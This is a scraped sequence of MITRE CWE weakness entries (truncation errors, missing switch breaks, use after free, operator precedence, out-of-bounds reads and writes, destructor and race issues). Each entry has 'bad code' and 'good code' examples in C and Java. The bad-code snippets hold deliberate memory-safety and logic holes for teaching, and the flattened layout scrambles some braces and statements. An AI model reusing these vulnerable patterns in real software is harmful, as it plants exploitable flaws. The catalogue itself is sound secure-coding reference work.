The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Java (Undetermined Prevalence) C# (Undetermined Prevalence) Example 1 This example, while not exploitable, shows the possible mangling of values associated with truncation errors: (bad code)
Example Language: C
int intPrimitive;
short shortPrimitive; intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1))); shortPrimitive = intPrimitive; printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive); The above code, when compiled and run on certain systems, returns the following output: (result)
Int MAXINT: 2147483647
Short MAXINT: -1 This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits. Example 2 In the following Java example, the method updateSalesForProduct is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to The primitive type short since the method requires short type for the method arguments. (bad code)
Example Language: Java
...
// update sales database for number of product sold with product ID public void updateSalesForProduct(String productID, int amountSold) { // get the total number of products in inventory database int productCount = inventory.getProductCount(productID); // convert integer values to short, the method for the // sales object requires the parameters to be of type short short count = (short) productCount; short sold = (short) amountSold; // update sales database for product sales.updateSalesCount(productID, count, sold); ... However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type short. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type short before the explicit cast and the call to the sales method. (good code)
Example Language: Java
...
// update sales database for number of product sold with product ID public void updateSalesForProduct(String productID, int amountSold) { // get the total number of products in inventory database int productCount = inventory.getProductCount(productID); // make sure that integer numbers are not greater than // maximum value for type short before converting if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) { // convert integer values to short, the method for the // sales object requires the parameters to be of type short short count = (short) productCount; short sold = (short) amountSold; // update sales database for product sales.updateSalesCount(productID, count, sold); else { // throw exception or perform other processing ... }...
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Research Gap
This weakness has traditionally been under-studied and under-reported, although vulnerabilities in popular software have been published in 2008 and 2009.
CWE-484: Omitted Break Statement in Switch
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Java (Undetermined Prevalence) C# (Undetermined Prevalence) PHP (Undetermined Prevalence) Example 1 In both of these examples, a message is printed based on the month passed into the function: (bad code)
Example Language: Java
public void printMessage(int month){
switch (month) {
case 1: print("January"); case 2: print("February"); case 3: print("March"); case 4: print("April"); case 5: print("May"); case 6: print("June"); case 7: print("July"); case 8: print("August"); case 9: print("September"); case 10: print("October"); case 11: print("November"); case 12: print("December"); println(" is a great month"); (bad code)
Example Language: C
void printMessage(int month){
switch (month) {
case 1: printf("January"); case 2: printf("February"); case 3: printf("March"); case 4: printf("April"); case 5: printff("May"); case 6: printf("June"); case 7: printf("July"); case 8: printf("August"); case 9: printf("September"); case 10: printf("October"); case 11: printf("November"); case 12: printf("December"); printf(" is a great month"); Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-672: Operation on a Resource after Expiration or Release
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Mobile (Undetermined Prevalence) Example 1 The following code shows a simple example of a use after free error: (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
if (err) { abrt = 1; }free(ptr); ... if (abrt) { logError("operation aborted before commit", ptr); }When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function. Example 2 The following code shows a simple example of a double free error: (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
... if (abrt) { free(ptr); }... free(ptr); Double free vulnerabilities have two common (and sometimes overlapping) causes:
Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once. Example 3 In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method. (bad code)
Example Language: C
#define FAIL 0
#define SUCCESS 1 #define ERROR -1 #define MAX_MESSAGE_SIZE 32 int processMessage(char **message) { int result = SUCCESS;
int length = getMessageLength(message[0]); char *messageBody; if ((length > 0) && (length < MAX_MESSAGE_SIZE)) { messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0]; int success = processMessageBody(messageBody); if (success == ERROR) { result = ERROR; }free(messageBody); else { printf("Unable to process message; invalid message length"); }result = FAIL; if (result == ERROR) { logError("Error processing message", messageBody); }return result; However, the call to the method logError includes the messageBody after the memory for messageBody has been released using the free method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released. (good code)
Example Language: C
...
messageBody = (char*)malloc(length*sizeof(char)); messageBody = &message[1][0]; int success = processMessageBody(messageBody); if (success == ERROR) { result = ERROR; }logError("Error processing message", messageBody); free(messageBody); ...
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-783: Operator Precedence Logic Error
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses an expression in which operator precedence causes incorrect logic to be used.
While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Rarely Prevalent) C++ (Rarely Prevalent) Class: Not Language-Specific (Rarely Prevalent) Example 1 In the following example, the method validateUser makes a call to another method to authenticate a username and password for a user and returns a success or failure code. (bad code)
Example Language: C
#define FAIL 0
#define SUCCESS 1 ... int validateUser(char *username, char *password) { int isUser = FAIL; // call method to authenticate username and password // if authentication fails then return failure otherwise return success if (isUser = AuthenticateUser(username, password) == FAIL) { return isUser; }else { isUser = SUCCESS; }return isUser; However, the method that authenticates the username and password is called within an if statement with incorrect operator precedence logic. Because the comparison operator "==" has a higher precedence than the assignment operator "=", the comparison operator will be evaluated first and if the method returns FAIL then the comparison will be true, the return variable will be set to true and SUCCESS will be returned. This operator precedence logic error can be easily resolved by properly using parentheses within the expression of the if statement, as shown below. (good code)
Example Language: C
...
if ((isUser = AuthenticateUser(username, password)) == FAIL) { ... Example 2 In this example, the method calculates the return on investment for an accounting/financial application. The return on investment is calculated by subtracting the initial investment costs from the current value and then dividing by the initial investment costs. (bad code)
Example Language: Java
public double calculateReturnOnInvestment(double currentValue, double initialInvestment) {
double returnROI = 0.0; // calculate return on investment returnROI = currentValue - initialInvestment / initialInvestment; return returnROI; However, the return on investment calculation will not produce correct results because of the incorrect operator precedence logic in the equation. The divide operator has a higher precedence than the minus operator, therefore the equation will divide the initial investment costs by the initial investment costs which will only subtract one from the current value. Again this operator precedence logic error can be resolved by the correct use of parentheses within the equation, as shown below. (good code)
Example Language: Java
...
returnROI = (currentValue - initialInvestment) / initialInvestment; ... Note that the initialInvestment variable in this example should be validated to ensure that it is greater than zero to avoid a potential divide by zero error (CWE-369).
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-125: Out-of-bounds Read
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Technologies Class: ICS/OT (Often Prevalent) Example 1 In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method (bad code)
Example Language: C
int getValueFromArray(int *array, int len, int index) {
int value; // check that the array index is less than the maximum // length of the array if (index < len) { // get the value at the specified index of the array value = array[index]; // if array index is invalid then output error message // and return value indicating error else { printf("Value is: %d\n", array[index]); }value = -1; return value; However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below. (good code)
Example Language: C
... // check that the array index is within the correct // range of values for the array if (index >= 0 && index < len) { ...
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-787: Out-of-bounds Write
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Often Prevalent) C++ (Often Prevalent) Class: Assembly (Undetermined Prevalence) Technologies Class: ICS/OT (Often Prevalent) Example 1 The following code attempts to save four different identification numbers into an array. (bad code)
Example Language: C
int id_sequence[3];
/* Populate the id array. */ id_sequence[0] = 123; id_sequence[1] = 234; id_sequence[2] = 345; id_sequence[3] = 456; Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id_sequence[3] is out of bounds. Example 2 In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed: (bad code)
Example Language: C
int returnChunkSize(void *) {
/* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error */ ... int main() { ... }memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1)); ... If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788). Example 3 This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker. Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476). Example 4 This code applies an encoding procedure to an input string and stores it into a buffer. (bad code)
Example Language: C
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE); if ( MAX_SIZE <= strlen(user_supplied_string) ){ die("user string too long, die evil hacker!"); }dst_index = 0; for ( i = 0; i < strlen(user_supplied_string); i++ ){ if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&'; }dst_buf[dst_index++] = 'a'; dst_buf[dst_index++] = 'm'; dst_buf[dst_index++] = 'p'; dst_buf[dst_index++] = ';'; else if ('<' == user_supplied_string[i] ){ /* encode to < */ else dst_buf[dst_index++] = user_supplied_string[i]; return dst_buf; The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands. Example 5 In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character. (bad code)
Example Language: C
char* trimTrailingWhitespace(char *strMessage, int length) {
char *retMessage;
char *message = malloc(sizeof(char)*(length+1)); // copy input string to a temporary string char message[length+1]; int index; for (index = 0; index < length; index++) { message[index] = strMessage[index]; }message[index] = '\0'; // trim trailing whitespace int len = index-1; while (isspace(message[len])) { message[len] = '\0'; }len--; // return string without trailing whitespace retMessage = message; return retMessage; However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer. Example 6 The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget. (bad code)
Example Language: C
int i;
unsigned int numWidgets; Widget **WidgetList; numWidgets = GetUntrustedSizeValue(); if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) { ExitError("Incorrect number of widgets requested!"); }WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *)); printf("WidgetList ptr=%p\n", WidgetList); for(i=0; i<numWidgets; i++) { WidgetList[i] = InitializeWidget(); }WidgetList[numWidgets] = NULL; showWidgets(WidgetList); However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption. Example 7 The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found. (bad code)
Example Language: C
int main() {
... }
char *result = strstr(destBuf, "Replace Me"); int idx = result - destBuf; strcpy(&destBuf[idx], srcBuf); ... In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA parent class has a virtual destructor method, but the parent has a child class that does not have a virtual destructor.
This issue can prevent the product from running reliably, since the child might not perform essential destruction operations. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability, such as a memory leak (CWE-401). This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1062: Parent Class with References to Child Class
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe code has a parent class that contains references to a child class, its methods, or its members.
This issue can prevent the product from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1079: Parent Class without Virtual Destructor Method
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterA parent class contains one or more child classes, but the parent class does not have a virtual destructor method.
This issue can prevent the product from running reliably due to undefined or unexpected behaviors. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a storable data element that does not have
all of the associated functions or methods that are necessary to support
comparison.
For example, with Java, a class that is made persistent requires both hashCode() and equals() methods to be defined. This issue can prevent the product from running reliably, due to incorrect or unexpected comparison results. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-366: Race Condition within a Thread
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterIf two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
